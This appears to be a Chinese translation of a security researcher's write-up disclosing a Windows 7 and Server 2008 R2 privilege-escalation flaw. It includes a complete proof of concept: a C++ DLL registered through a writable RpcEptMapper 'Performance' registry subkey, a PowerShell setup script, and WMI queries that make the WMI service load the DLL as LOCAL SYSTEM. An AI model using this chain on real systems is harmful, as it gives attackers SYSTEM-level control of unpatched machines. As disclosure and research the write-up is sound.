近日,安全人员ClémentLabro使用安全检查工具发现了Windows 7和Windows Server 2008 R2中的零日漏洞,该漏洞暂未分配CVE编号。
背景
Clément使用的安全检查工具是名为PrivescCheck的权限提升枚举脚本,它是PowerUp的更新和扩展版本,可以发现Windows中的各种错误配置。
在Windows计算机中,服务配置错误是导致本地权限升级的主要原因之一。如果普通用户能够修改服务配置,则可以在本地网络服务甚至本地系统中执行任意代码。如以下常见问题:
服务控制管理器(SCM):可以通过SCM授予低权限用户对特定服务的权限。例如,如果普通用户被授予SERVICE_START权限,则可以使用sc.exe start wuauserv命令来启动Windows更新服务。但如果这个用户拥有SERVICE_CHANGE_CONFIG权限,则可以使服务运行任意可执行文件。
二进制权限:Windows服务通常有一个与之关联的命令行。如果可以修改相应的可执行文件(或者在父文件夹中有写入权限),那么基本上可以利用该服务执行任何内容。
非引用路径:这个问题与Windows解析命令行的方式有关。假设一个带有以下命令行的虚拟服务:C:\Applications\Custom Service\service.exe /v。该命令行是不明确的,因此Windows将首先尝试执行C:\Applications\Custom.exe,其中Service\service.exe作为第一个参数(/v作为第二个参数)。如果普通用户在C:\Applications中有写入权限,则其可以通过复制一个恶意的可执行文件到C:\Applications\Custom.exe来劫持服务。这就是为什么路径应始终用引号引起来的原因,尤其是当它们包含空格时:"C:\Applications\Custom Service\service.exe" /v
Phantom DLL 劫持(可写%PATH%文件夹):Windows的某些内置服务会尝试加载不存在的DLL。这本身并不是一个漏洞,但如果在%PATH%环境变量中列出的文件夹中有一个是由普通用户写入的,那么这些服务就可以被劫持。
这些潜在的安全问题每一个都可以在PowerUp中进行相应的检查,但是在另一种情况下,可能会发生配置错误:注册表。通常,当创建服务时,可以通过使用sc.exe内置命令以管理员身份调用服务控制管理器来进行。这将创建一个带有当前用户的服务名称的子项,HKLM\SYSTEM\CurrentControlSet\Services所有设置(包括命令行,用户等)都将保存在该子项中。因此,如果这些设置由SCM管理,则默认情况下它们应该是安全的。
检查注册表权限
PowerUp的核心功能之一是Get-ModifiablePath。该功能的原理是提供一种通用的方式来检查当前用户是否可以以任何方式修改文件或文件夹(例如:AppendData/AddSubdirectory)。它通过解析目标对象的ACL,然后将其与其所属的组授予当前用户的权限进行比较。虽然这个原则最初是针对文件和文件夹实现的,但是注册表项也是安全的对象。因此,可以实现一个类似的函数来检查当前用户是否对注册表项具有写入权限。这正是我所做的,因此我添加了一个新的核心函数:getmodifiableregistrypath。
然后,检查Windows上可修改的注册表项就像在registry::HKLM\SYSTEM\CurrentControlSet\services路径上调用Get ChildItem PowerShell命令一样简单。结果可以简单地通过管道传输到新的getmodifiableregistrypath命令。
当我需要进行新检查时,我使用Windows10系统进行初始测试,以查看一切是否按预期进行。当代码稳定后,我将测试扩展到其他几个Windows VM,以确保它仍然与PowerShell v2兼容,并仍然可以在较旧的系统上运行。我进行此测试最常用的操作系统是Windows 7、Windows 2008 R2和Windows Server 2012 R2。
当我在Windows 10系统(默认安装)上运行更新的脚本时,它没有返回任何内容,符合我预期的结果。但在Windows 7上运行之后,它出现了以下信息:
分析
起初,我一直怀疑是误报。但通过仔细研究,我有了更多发现。
根据脚本的输出,当前用户对两个注册表项具有一定的写入权限:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache
HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
让我们使用regedit GUI手动检查RpcEptMapper服务的权限。在该服务的注册表子项中,可以选择任何用户名或组名,然后立即查看授予该主体的有效权限,而无需分别检查所有ACE。下图显示了低权限用户lab-user的相关权限。
该用户的权限几乎都是标准权限(例如QueryValue:),但其中一个权限特别突出:Create Subkey。与此权限相对应的通用名称是AppendData/AddSubdirectory,这正是脚本所报告的名称:
Name : RpcEptMapper
ImagePath : C:\Windows\system32\svchost.exe -kRPCSS
User : NT AUTHORITY\NetworkService
ModifiablePath :{Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
IdentityReference : NTAUTHORITY\Authenticated Users
Permissions : {ReadControl,AppendData/AddSubdirectory, ReadData/ListDirectory}
Status : Running
UserCanStart : True
UserCanRestart : False
Name : RpcEptMapper
ImagePath : C:\Windows\system32\svchost.exe -kRPCSS
User : NT AUTHORITY\NetworkService
ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
IdentityReference : BUILTIN\Users
Permissions : {WriteExtendedAttributes,AppendData/AddSubdirectory, ReadData/ListDirectory}
Status : Running
UserCanStart : True
UserCanRestart : False
这意味着我们不能仅修改ImagePath值。为此,我们需要WriteData/AddFile权限。相反,我们只能创建一个新的子项。
RTFM
此时,我们知道我们可以在HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper下创建任意子项,但是我们不能修改现有的子项和值。这些已经存在的子项是Parameters和Security,它们对于Windows服务是很常见的。
因此,想到的第一个问题是:是否还有其它预定义的子项(例如Parameters和Security),我们是否可以利用它来有效地修改服务的配置并以任何方式更改其行为。
为了验证这个问题,我最初计划枚举所有现有的子项并尝试识别其模式。目的是查看哪些子项对服务的配置有意义。我开始考虑如何在PowerShell中实现它,然后对结果进行排序。但在这样做之前,我想知道这个注册表结构是否已经被记录下来了。所以,我用Google搜索了windows service configurationregistry site:microsoft.com,这是第一个结果。
考虑到标题,我希望看到某种树形结构,其中详细列出了定义服务配置的所有子项和值,但显然不存在。
尽管如此,我还是快速浏览了每个段落。而且,我很快发现了关键字“ Performance ”和“ DLL ”。在“Perfomance”副标题下,我们可以阅读以下内容:
Performance: A key that specifiesinformation for optional performance monitoring. The values under this keyspecify the name of the driver’s performance DLL and the names of certainexported functions in that DLL. You can add value entries to this subkey usingAddReg entries in the driver’s INF file.
根据简述,理论上可以通过Performance子项在驱动程序服务中注册DLL,以便监视其性能。RpcEptMapper服务默认情况下不存在此子项,因此它看起来正是我们所需要的。但有一个小问题,这个服务绝对不是程序驱动服务。无论如何,它仍然值得一试,但我们需要更多关于这个“Perfomance Monitoring”的信息。
(注意:在Windows中,每个服务都有一个Type。服务类型可以是以下值之一:SERVICE_KERNEL_DRIVER (1),SERVICE_FILE_SYSTEM_DRIVER (2),SERVICE_ADAPTER(4),SERVICE_RECOGNIZER_DRIVER (8),SERVICE_WIN32_OWN_PROCESS (16),SERVICE_WIN32_SHARE_PROCESS(32)或SERVICE_INTERACTIVE_PROCESS (256)。)
经过一番搜索后,我在文档:Creatingthe Application’s Performance Key中找到了该资源。
首先,该文档中有一个直观的树结构,列出了我们需要的所有子项和值。然后,给出了以下关键信息:
该Library值可以包含DLL名称或DLL的完整路径。
Open、Collect和Close值允许指定的函数的名称应当由DLL导出。
这些值的数据类型是REG_SZ(Library值甚至是REG_EXPAND_SZ)。
参考此文档中包含的链接,可以找到这些函数的原型以及一些代码。
DWORD APIENTRY OpenPerfData(LPWSTRpContext);
DWORD APIENTRYCollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
DWORD APIENTRY ClosePerfData();
编写PoC
当我需要利用某种DLL劫持漏洞时,我通常从编写一个简单的自定义日志记录脚本开始,目的是在每次调用文件时将一些关键信息写入文件中。通常,我会记录当前进程和父进程的PID、运行该进程的用户名以及相应的命令行。此外,我还会记录触发此日志事件的函数的名称。这样,我能够知道代码的哪一部分已经执行。
为此,我们可以启动Visual Studio并创建一个新的“ C ++ Console App ”项目。请注意,我本可以创建一个“动态链接库(DLL) ”项目,但我发现从控制台应用程序创建会更容易。
这是Visual Studio生成的初始代码:
#include<iostream>
int main()
{
std::cout << "HelloWorld!\n";
}
当然,这不是我们想要的。我们要创建一个DLL,因此我们必须将main函数替换为DllMain。
#include<Windows.h>
extern"C" BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason,LPVOID const reserved)
{
switch (reason)
{
case DLL_PROCESS_ATTACH:
Log(L"DllMain"); // See loghelper function below
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
同时,我们需要更改项目的设置,以指定输出的编译文件为DLL。为此,可以打开项目属性,然后在“General”中,选择“Dynamic Library (.dll)”作为“Configuration Type”。在标题栏的正下方,还可以选择“All Configurations”和“All Platforms”,以便可以全局应用此设置。
接下来,添加自定义日志记录功能。
#include<Lmcons.h> // UNLEN + GetUserName
#include<tlhelp32.h> // CreateToolhelp32Snapshot()
#include<strsafe.h>
void Log(LPCWSTRpwszCallingFrom)
{
LPWSTR pwszBuffer, pwszCommandLine;
WCHAR wszUsername[UNLEN + 1] = { 0 };
SYSTEMTIME st = { 0 };
HANDLE hToolhelpSnapshot;
PROCESSENTRY32 stProcessEntry = { 0 };
DWORD dwPcbBuffer = UNLEN, dwBytesWritten =0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0;
BOOL bResult = FALSE;
// Get the command line of the currentprocess
pwszCommandLine = GetCommandLine();
// Get the name of the process owner
GetUserName(wszUsername, &dwPcbBuffer);
// Get the PID of the current process
dwProcessId = GetCurrentProcessId();
// Get the PID of the parent process
hToolhelpSnapshot =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
stProcessEntry.dwSize =sizeof(PROCESSENTRY32);
if (Process32First(hToolhelpSnapshot,&stProcessEntry)) {
do {
if (stProcessEntry.th32ProcessID ==dwProcessId) {
dwParentProcessId =stProcessEntry.th32ParentProcessID;
break;
}
} while(Process32Next(hToolhelpSnapshot, &stProcessEntry));
}
CloseHandle(hToolhelpSnapshot);
// Get the current date and time
GetLocalTime(&st);
// Prepare the output string and log theresult
dwBufSize = 4096 * sizeof(WCHAR);
pwszBuffer = (LPWSTR)malloc(dwBufSize);
if (pwszBuffer)
{
StringCchPrintf(pwszBuffer, dwBufSize,L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER="%s" - CMD="%s" -METHOD="%s"\r\n",
st.wHour,
st.wMinute,
st.wSecond,
dwProcessId,
dwParentProcessId,
wszUsername,
pwszCommandLine,
pwszCallingFrom
);
LogToFile(L"C:\\LOGS\\RpcEptMapperPoc.log", pwszBuffer);
free(pwszBuffer);
}
}
然后,我们可以使用在文档中看到的三个函数来填充DLL。如下所示,如果成功,它们应该返回ERROR_SUCCESS。
DWORD APIENTRYOpenPerfData(LPWSTR pContext)
{
Log(L"OpenPerfData");
return ERROR_SUCCESS;
}
DWORD APIENTRYCollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned)
{
Log(L"CollectPerfData");
return ERROR_SUCCESS;
}
DWORD APIENTRYClosePerfData()
{
Log(L"ClosePerfData");
return ERROR_SUCCESS;
}
至此,已经正确配置了项目,实现了DllMain,还有了一个日志记录脚本和三个必需的函数。还有一件事没有提到,如果我们编译了这段代码,OpenPerfData、CollectPerfData和ClosePerfData将作为内部可用函数,所以需要导出它们。这可以通过几种方式实现。例如,可以创建一个DEF文件,然后适当地配置项目。但是,我更喜欢使用__declspec(dllexport)关键字(doc),尤其是对于像这样的小项目。这样,我们只需在源代码的开头声明这三个函数。
extern"C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);
extern"C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTRpQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
extern"C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();
最后,我们可以选择Release/x64并选择“Build the solution”。这将产生我们的DLL文件:.\DllRpcEndpointMapperPoc\x64\Release\DllRpcEndpointMapperPoc.dll。
测试PoC
在进行操作之前,我通过测试payload来确保其正常工作。我们可以简单地使用rundll32.exe并传递DLL的名称和导出函数的名称作为参数。
C:\Users\lab-user\Downloads\>rundll32DllRpcEndpointMapperPoc.dll,OpenPerfData
日志文件已经创建好了,如果打开它,我们可以看到两条记录。第一个是在rundll32.exe加载DLL时生成的,第二个是在调用OpenPerfData时生成的。
[21:25:34] - PID=3040 - PPID=2964 - USER="lab-user" -CMD="rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData" - METHOD="DllMain"
[21:25:34] - PID=3040 - PPID=2964 - USER="lab-user" -CMD="rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData" - METHOD="OpenPerfData"
现在我们可以开始研究漏洞,并从创建所需的注册表子项和值开始。我们可以使用reg.exe/手动执行此操作,也可以使用regedit.exe脚本以编程方式执行此操作。在此我将展示一种更简单的使用PowerShell脚本执行操作的方法。
但是使用此方法出现了“Requested registry access is not allowed”的提示,这可能是当我们调用New-Item时,powershell.exe试图使用一些我们没有的权限来打开父注册表项。
但如果内置的cmdlet不能完成任务,我们可以向下一层直接调用DotNet函数。实际上,也可以在PowerShel中使用以下代码创建注册表项:
[Microsoft.Win32.Registry]::LocalMachine.CreateSubKey("SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance")
最后,我整理了以下脚本,以便创建适当的子项和值,等待一些用户输入,并通过清理所有内容来终止。
$ServiceKey ="SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance"
Write-Host "[*] Create "Performance"subkey"
[void][Microsoft.Win32.Registry]::LocalMachine.CreateSubKey($ServiceKey)
Write-Host "[*] Create "Library" value"
New-ItemProperty -Path"HKLM:$($ServiceKey)" -Name "Library" -Value"$($pwd)\DllRpcEndpointMapperPoc.dll" -PropertyType"String" -Force | Out-Null
Write-Host "[*] Create "Open" value"
New-ItemProperty -Path"HKLM:$($ServiceKey)" -Name "Open" -Value"OpenPerfData" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create "Collect" value"
New-ItemProperty -Path"HKLM:$($ServiceKey)" -Name "Collect" -Value"CollectPerfData" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create "Close" value"
New-ItemProperty -Path"HKLM:$($ServiceKey)" -Name "Close" -Value"ClosePerfData" -PropertyType "String" -Force | Out-Null
Read-Host -Prompt "Press any key tocontinue"
Write-Host "[*] Cleanup"
Remove-ItemProperty -Path "HKLM:$($ServiceKey)"-Name "Library" -Force
Remove-ItemProperty -Path"HKLM:$($ServiceKey)" -Name "Open" -Force
Remove-ItemProperty -Path"HKLM:$($ServiceKey)" -Name "Collect" -Force
Remove-ItemProperty -Path"HKLM:$($ServiceKey)" -Name "Close" -Force
[Microsoft.Win32.Registry]::LocalMachine.DeleteSubKey($ServiceKey)
最后一步是欺骗RPC端点映射器服务来加载我们的PerformaceDLL,可以使用WMI(Windows ManagementInstrumentation)查询性能计数器实现。
我首先使用以下命令枚举了PowerShell中与Performace Data相关的WMI类。
Get-WmiObject -List | Where-Object { $_.Name -Like"Win32_Perf*" }
相关日志文件内容如下:
我原本期望NETWORK SERVICE会在RpcEptMapper服务的上下文中执行任意代码,但是,我得到了比预期更好的结果。事实上,我在WMI服务本身的上下文中执行了任意代码,其运行方式为LOCAL SYSTEM。
之后,我尝试分别获取每个WMI类,并观察到完全相同的结果。
Get-WmiObject Win32_Perf
Get-WmiObject Win32_PerfRawData
Get-WmiObject Win32_PerfFormattedData
结论
我不知道为什么这么长时间都没有注意到这个漏洞。一种解释是,其它工具可能会在注册表中寻找完整的写入权限,而在本例中,AppendData/AddSubdirectory就能够检查当前用户是否可以以任何方式修改文件或文件夹了。关于“misconfiguration”,我认为注册表项是为了特定目的而这样设置的,虽然我想不出任何用户修改服务配置权限的场景。
我决定公开这个漏洞有两个原因。第一个是,我在几个月前为PrivescCheck脚本添加GetModfiableRegistryPath函数后将它公开了,但当时并没有意识到这一点。二是该漏洞的影响比较小,需要本地访问,并且只影响旧版Windows 7 和Windows Server 2008 R2。
链接与资源
GitHub - PrivescCheck
https://github.com/itm4n/PrivescCheck
GitHub - PowerUp
https://github.com/HarmJ0y/PowerUp
Microsoft - “HKLM\SYSTEM\CurrentControlSet\ServicesRegistry Tree”
https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
Microsoft - Creating the Application’sPerformance Key
https://docs.microsoft.com/en-us/windows/win32/perfctrs/creating-the-applications-performance-key
原文链接:
https://itm4n.github.io/windows-registry-rpceptmapper-eop/
声明:本文来自维他命安全,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。